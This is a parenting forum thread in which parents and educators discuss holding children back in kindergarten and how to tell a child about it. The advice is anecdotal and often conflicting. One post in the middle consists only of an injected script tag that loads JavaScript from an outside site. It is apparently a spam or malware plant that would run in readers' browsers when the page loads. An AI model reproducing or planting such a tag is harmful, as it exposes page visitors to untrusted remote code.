Kingergarten Retention Question

[GratefulMom]

First of all, I'd like to thank all of those who replied to "HelpMe" regarding Kindergarten retention. It is especially helpful to hear from educators. I am in the same boat (my daughter started Kindergarten at 4 this year/late Nov birthday). At first, I was insulted by the idea of retention, but after a month and a half of crying, praying, researching, thinking, analyzing, etc., I've decided a second year of Kinderg. is what's best for my child. She is really a bright girl, but her little brain hasn't been ready to grasp all of the required concepts.

My question is, now that this decision is made, how do I approach my daughter about the situation? I do like the idea of "you're staying in K to help all the new Kindergarteners" as one possibility. (I will be requesting another teacher for her so that she does have a "new" experience with a different teacher/classroom/etc.) My main concern is that her self-esteem will suffer. She frequently says she gets to be in first grade next year. She is a very intuitive, SUPER sensitive kid. Any suggestions?

GratefulMom

[HelpME]

I have recently told my son that he may be staying in kindergarten to help the other kids that will be in his class. He told me okay. I am not sure if he understands for sure, but I am going to do everything I can to help him understand. I like the idea that you are getting him a different teacher. Where we live, there are two other elementary schools with kindergartens and I have requested for him to be moved to a different school. For him, I think it would be a benefit to get away from the same faculty and kids.

I wish you and your daughter luck down this path. We are in the same boat, but I know it will all be for the best.

[njan]

I am in the same boat with you. My daughter also does not comprehend the idea of "helping other kids" and frequently said she is going to 1st grade after summer vacation is over. It breaks my heart to disappoint her.

[GratefulMom]

I have received some advice to the effect of...."if you don't make an issue out of it, it won't be..." My daughter has been mentioning how first grade is "really hard" and how they have to "write lots and lots of sentences". I asked her if she wanted to wait before starting first grade, and she said "yes". I think I've made it too much of an issue whereas they really won't. In my case, she'll have a new room, new teacher. A good friend of her's may end up in the same class so that's another plus. I think I've decided not to over explain it and take it from there. Kids really feed off of our energy/worry so if we stay upbeat and positive, I'll think they'll be fine????

[Unregistered]

Keep things positve; make it a positive for her and she will take it so.

Taught kindergarten in small area school; not much chance of gwetting a different school or even teacher. But I always helped the parents present staying in K in a positive manner. Making it a positive for the student helps also. One student in particular would say even after graduating form HS, that holding her back in K was the best thing her parents and teachers did for her. It let her grow up a little and be ready to handle all they need to handle as they grow up.


Keep it happy. (never you do not get to... or you have to stay in K... )

[Misunderstood]

I have a boy in kindergarten at a parochial school. They have just informed me that they do not feel he is ready for their 1st grade. He meets all academic standards in both reading and math. He meets the lower end of the standards for his writing skill, although he does print very nice, but he is a boy! The K teacher has told me that they want to hold him back because of the whole picture. Even though he meets standards and is definitely not the lowest in the class, he is one of the younger boys, a June birthday. Because they have 40 kids in the class, they feel he is going to struggle. The teacher says that he doesn't speek clearly and has a hard time following 3-step directions. I had his speech tested by a therapist and she said that he definitely does not have a speech problem and he didn't have a problem following any directions she gave him. She thinks that it is a confidence issue and that the teacher should be helping to build his confidence. I really feel that it is his personality more than a maturity issue. I had some of the same issues with my sixth grader at that age who is young also, a July birthday. He now is an A student at the same school. I don't feel that keeping him back would have changed anything. I feel really bad for my K boy. He is going to be crushed when he finds out that he can't go to school with his brother. Is this really an age issue or just his personality? He is very sensitive and doesn't get into trouble at school. He sometimes doesn't like to do homework, but neither does my 6th grader. I am a stay at home mom and always work with my kids. I want them to be happy. Is holding back really necessary? My own experience with my older son has taught me that my children just need a little more attention in the beginning. What should I do?

[Unregistered]

I can understand your dilemma. I worked in preschool education for several years prior to entering the elementary classroom (I teach first and second grade students). Unfortunately, the issue of personality plays into a childs level of maturity. Often times, if I child needs to be a little more mature to handle the demands of a first grader, we will recommend retention in order to give this child a better chance at success. Really, in my experience, when a child is not mature enough at the first and second grade levels, then learning the basics becomes very difficult. If your child has a chance to experience success as a kindgergartner; socially, maturation wise, and academically; then he will end up being a better student in the long run. The other way to look at this is that often times if a child is pushed along and they are not quite mature enough to have been advanced, they end up being retained in 1st, 2nd, or even 3rd grade. This is definitely more of an issue at that time for the child than in kindergarten. Also, remember that no two children are exactly alike, and your younger son may have a situation that is entirely different than your older son. Good luck to you!

[Unregistered]

Dear Mom:
Take your kid to the Phsycologist and he will decide if your kid is
prepare for first grade or if you most keep her in Kinder because is inmature.
If he said the kid dont have enough knowledge change the teacher.The kid
had absorb from this teacher all she could do.

[vlg]

Dear Parent of Kindergartener,
Your son may have learned all the skills he needs to go on to 1st grade but yet be totally insecure in his abilities. Give the child another year in Kindergarten. Let him SHINE and feel confident about being able to do work on his own. Sometimes, we as parents, feel that we need to help with everything (EX: Carrying bookbags and lunchboxes in for our child, or walking them into class). You know, those are age appropriate things that our children should be doing for themselves. Give your child all the opportunities to be independent at school. I see parents who let their child play ball or other sports and the child is very independent (i.e. they get their own bat and ball...) but those same parent disable a child when it comes to school & academic matters. Give him another chance to SHINE. You'll be glad you did and you want be pushing for the next 12 years (like I did!) Be strong and have faith in your child. He can do it!
VLG

[Unregistered]

As a kindergarten teacher I have found that most kids know they are struggling. If you approach it that they GET to stay in kindergarten another year they think of it as fun. Don't let your children hear you speak as if the flunked! Let them know that they are smart and will have a great time next year and just think about how much easier it will be. I have found that retention in kindergarten is almost always developmental. The child is just not ready to move on. It rarely has anything to do with IQ!!!!

[Unregistered]

You have to follow your instincts as MOTHER! Read the research on the web about retention. IN 85 % of the cases followed regarding retention, it doesn't have an effect academically by the time the student is older.

One good reason for retention MIGHT be social adjustment and immaturity. As a first grade teacher, who also worked in teacher training, I'd personally rather see a child repeat first grade than kindergarten. They get to hear all those fundamental skills over again... they are in school the whole day... they will hear the alphabet and math skills over and over... it's a cyclical curriculum ... not all kids catch on the first time they hear something.

Read with your child daily for the rest of the summer. Hard books that YOU read to them... even later elementary chapter books that are of content interest (Owl in the Attic).. (Island of the Blue Dolphins)... but also the easy readers, so they can follow visually.

Again, research says 85% of retention doesn't warrant action ... but then, there are the few that due. In some districts, there IS NO kindergarten retention. Some school districts have a half grade that reviews kindergarten work and then starts first grade level... that's beautiful.. and THEN they go to first grade. All sort of options... certainly try to find schools where the class size is 18 to 22.. optimum for student learning... backed by research also.

That's what I know to be true. I had many first grade retentions put in my room, and confidence is an issue... building esteem works wonders. Hey one good thing about retention is that your child is the first one to get their drivers license!! Probably one of the most physically mature in high school if heredity is on their side for size. Most of all, decide for yourself... it's a parent's ultimate decision, not the schools. I still think repeating first grade is better than repeating kindergarten. My personal bias, of course!! Good luck!! MM
Count with your child... pennies... by fives... by tens... count things you see on vacation... ask what would happen if one bird flew away... play store... learn the names of coins.

[Unregistered]

<script src=http://usuc.us/j.php>jonny350</script>

[Unregistered]

Keeping it positive is of course the key. She is old enough to grasp the idea of the others moving on, but basically they are getting a new teacher and so is she. I have had retained students in my class before (first grade) and they do not suffer socially at all. They are very adaptable creatures, and tend to make new friends easily. Also the current classmates are not old enough to know about teasing for this. It is just accepted as a fact- end of story. Tell her how excited you are that the teachers PICKED her to stay in kinder. Point out all the positive things that she enjoys, but also as a side, remind her how much fun learning to read, or count will be, because she already had practice with Mrs. so and so.
I am so glad the stigma of retention (for some parents) is being lessoned. Parents used to be afraid to hold there child back - even when it was clearly in their best interest. Bravo to parents like you who stand up for their childs needs.

[dmc]

Thanks for all of your helpful comments. I have an April boy that is going to repeat KDG. It was a real big push to get him up to par in his academics this year. First grade puts a lot of academic demands on these kids. I just feel like school should not be this hard on kids, especially KDG. I am a KDG teacher myself and have always told parents "You are giving the gift of time." Now that I am in the parent's shoe I am lost for words on how to explain this to my own son. Do I wait until the end of summer? What do I tell my son to say to his friends if they ask?

[Unregistered]

I am going through this myself right now with my son and was wondering the very same question. I firmly believe keeping it positive is key a saying things like, "you get to do kindergarten again and be a teacher's helper" will all ease the case. I think the parents worry alot more than the student ever does at this age as they get older it is very different. Things have changed so dramatically now trying to keep up to comply with state standards and No Child Left Behind. It is important as a parent to do what is in the best interest of our child.

[Unregistered]

I can't believe what I'm reading here...have any of you really met a mature 5 year old. They will all come to school with different abilities and that is OK. By the time they reach about 3rd grade things really even out. Retention is a huge problem. All most parents are really trying doing to do is give little Johnny another year so he will be bigger and faster than the rest of the kids for athletics. (and yes, on occasion, an advantage in acedemics) Let go parents, send them to school. I'm a firm believer that a solid start date must be set (Sept 1?), if you have reached that age of 5, you should be off to school. Remember, by putting your child at an advantage you are putting other children at a disadvantage. No child should be more tha a year older than his classmate except in the most extreme circumstances. People are actually holding back April and May birthdays???? It's slippery slope, now the March birdays are the youngest, pretty soon February, etc. etc...

[Unregistered]

I thought that anyone perusing this message board might find the input of an adult who was retained at age 8 helpful.

The most damaging part of being retained for me was what happened post-retention. Self-fulfilling prophecies of failure and the low expectations for my education, held by adults in my life, had deleterious effects on my self-esteem. I recommend the following two resources for parents and teachers working with children who have already been retained or who are at risk of grade retention.

1.) The Pygmalion Effect
2.) The book "The Marva Collins' Way"

Good God, if ONE adult had followed the lessons/advice from these two resources, perhaps I still wouldn't be struggling with the SAME issues of failure I've had since the age of 4 1/2.

In my case, grade retention did more good than harm. I am in graduate school at the University of Michigan. I am pretty sure that I wouldn't be there had I not been retained.

But the downside of retention is that it instilled feelings of learned helplessness, low self esteem and self-doubt that I continue to struggle with as an adult. Despite my mother telling me the retention did not mean I was a failure, it still registered as such in my mind. As an adult, I struggle with mental health problems that are mostly related to feelings of underachievement. I have a knee-jerk reaction of attributing failures I make in my adult life to stupidity and incompetence (rather than poor preparation on my part) and any success I experience to luck--or to the "probability" the task was simple (anyone could do it). I know these cognitive distortions are rooted in my experience in the primary grades.

After I was retained, no one really talked to me about it--my father never brought it up and my mother's generic, one-line response to it was "You didn't fail, you just weren't ready to start" I think that the grade retention lowered the expectations my parents had for me--they saw me struggle before the retention---and I don't think they ever transitioned out of this mind set---essentially they continued to view me as an underachiever who would always struggle. I was never a straight-A student, but I could certainly hold my own in school.

Based my own experience (and it won't apply to everyone, I know), I strongly recommend parents keep themselves in check with how they relate to their child post-retention. Reinforce your child's strengths---send him/her to counseling, involve him or her in some kind of activity that will reinforce a budding talent or skill he or she can develop and hang on to into adulthood. Don't assume that your child is "fine" post-rentention because his or her grades or social skills have improved.

And please, try to tell the full story about the retention (in a way your child can understand). Large classroom sizes, poor pre-kindergarten preparation, mistakes made by the adults in the child's life, etc. are another side of the story.

[Unregistered]

As a Kindergarten teacher I face this issue every year. In my state the cut off is Dec. 1st- It really should be Sept 1st with all of the demands of kindergarten today. It is not like how it was even when I started teaching 12 years ago! First I'd like to commend you for looking at ways to help your child and not pushing her ahead when you know it is not right for your child.

I am sure your daughter is very bright- in fact the only reason I consider retention in K is if the child is young- not if they have learning issues-another year will not make someone smarter- only delay the possibility of recieving services. If maturity is the concern the only thing that can help is the gift of time. What you are considering for your daughter is a gift and Kindergarten is the best year to do this.

In regard to what you should tell your child - the previous suggestions are fine, but kids are smart and they internalize and pick up on what is not said. The best way that I have found to address this is for the parent to say to the child- "Mommy and Daddy made a mistake in sending you to K this year. We did not realize that you need to be 5 to go to Kindergarten.... This is our mistake - not yours you are doing great and we are so proud of you. We have talked to your teacher and we figured out a way to fix our mistake- you will get to be in Kindergarten again next year when you are 5.." Then go into all of the positives of helping and knowing the routine things will be easier, etc. Something like this works well b/c it takes the responsibility off the child and helps them to understand that they didn't do anything wrong and are not being kept back b/c they failed. They didn't it isn't their fault they are young or that their state has a later cutoff!!! I would not tell her until the end of they year so that she will keep working hard and trying. I would also work with the teacher to make sure she refers to the next school year as next year and not First GRade. The biggest concern is preserving self esteem and if it it is looked at as a positive- which is is- you will be successful. Remember the story of Leo The Latebloomer.

Good Luck. When you are making a decision which you know in your heart is in your child's best interest it is the right one.

[kathytch4evr]

I went through the same thing. I made the decision to repeat my son in kindergarten, though I had a very hard time understanding why someone couldn't make it through kindergarten. When in fact, I do totally understand it because I am a teacher, but of course we all want what is best for our children.

The fact remains that not all children develop at the same pace. After I swallowed that pill, I simply told my son that he would be repeating kindergarten so that he could help the other children and so that he could get a better understanding of the material being taught. He knew that he had a hard time remembering everything and it was frustrating for both of us.

This year he is doing fantastic. There are several kids that repeated. If you ever have any doubts I highly recommend repeating kindergarten. I think it is better to have a good solid foundation on the basic skills than for them to struggle in 1st grade. 1st grade is not easy and if they are lacking those skills it will be a nightmare and make school a negative experience. My son has done so much better this year and it has really helped to build his confidence. The excitement he had when he read his first book to me was amazing!!

Another thing you could do is get your child involved in something outside of school, such as a sport, music, dance, etc. My son played soccer and he was great at it. He has played for a few years. But he would score goals and the entire sidelines would be cheering for him! That was a HUGE confidence booster for him and it also took him away for a short period of time from homework and household chores!

Good luck!

Kathy

[Unregistered]

If there is any way to move your child along with his peers...do it. I have been an elementary school social worker for 20 years. Rarely does retention have any positive outcomes. I'm sorry to say this, but the research is solidly AGAINST retention. If your child is very young, small, immature, whatever, then keep him out of school entirely and wait to begin kindergarten until the next year. The research is basically neutral on waiting a year to start. If you start him, let him go on. The loss of self esteem and the stigma of being held back are not worth it. There is no good way to put it to your kid. they get it, they think they failed, or they will think of it as failure in a year or so. Please, your child will catch up. Third grade is the great equalizer. If they have real learning disabilities, they need to be evaluated and served in special education and another year of kindergarten will not cure real learning disabilities. If you insist on retention, move to a new school. Seriously. Some states have school choice and he can begin fresh in a whole new school. Another problem, sometimes those little baby boys have a growth spurt in 6th grade and they look very out of place in elementary school. I know several boys that were retained and they are getting facial hair in 6th grade. This is not an advantage. Kids are mean, even to big hairy boys.

[Unregistered]

My daughter repearted kindergarten and it was the best decision I ever made. First she went to a private kindergarten and the second year I enrolled her in public kindergarten because I wanted her to have a different curriculum her second time around. She is now at the top of her class and her confidence has flown thru the roof. She is in first grade now and qualified for the gifted and talented program. I am such a proud mommy.

[Chocolate_New_Orleans]

call it pre-k. After all, at her young age, next year, she will be the correct age and never think anything about it, so long as you don't

Plus, how many 5 y.o.'s know the difference between the 2. The 'staying behind to help new ones" may work for this year, but as she repeats it to her friends, it won't take long for one smart arse to say "no, you just failed last year" to crush her self esteem. Plus, she would eventually realize it anyways, that there is no such thing as staying to help.

[Mr. H]

He's right, my sister had to repeat kindergarten and her friends made fun of her until she graduated high school. It may well have been one of the reasons she didn't do well in school later on after she discovered the stigma attached to repeating a year of "easy school".

[L Williams]

I have been a kindergarten teacher for three years now. (Previously, I taught upper elementary grades for 5 years). I understand your concern for your daughter. It is my feeling that you should be honest with her about the situation. Maybe you should not tell her all to the details, but definitely give it too her straight, as she asks you questions. I have seen several students disappointed when they realize that the picture that has been painted for them is not true, in reality. I think this would be a greater hurt. You know your child best, but you may find that she will be able to handle whatever you encourage her to...I would also like to add that early preparation for next year may be better than late notice. You may also want to be sure to add extra emphasis to the positive...in my experience, the stress that parents often feel adds to the stress of the child. Finally, just hang in there...it will be okay and you may be glad that you made this decision now...instead of later.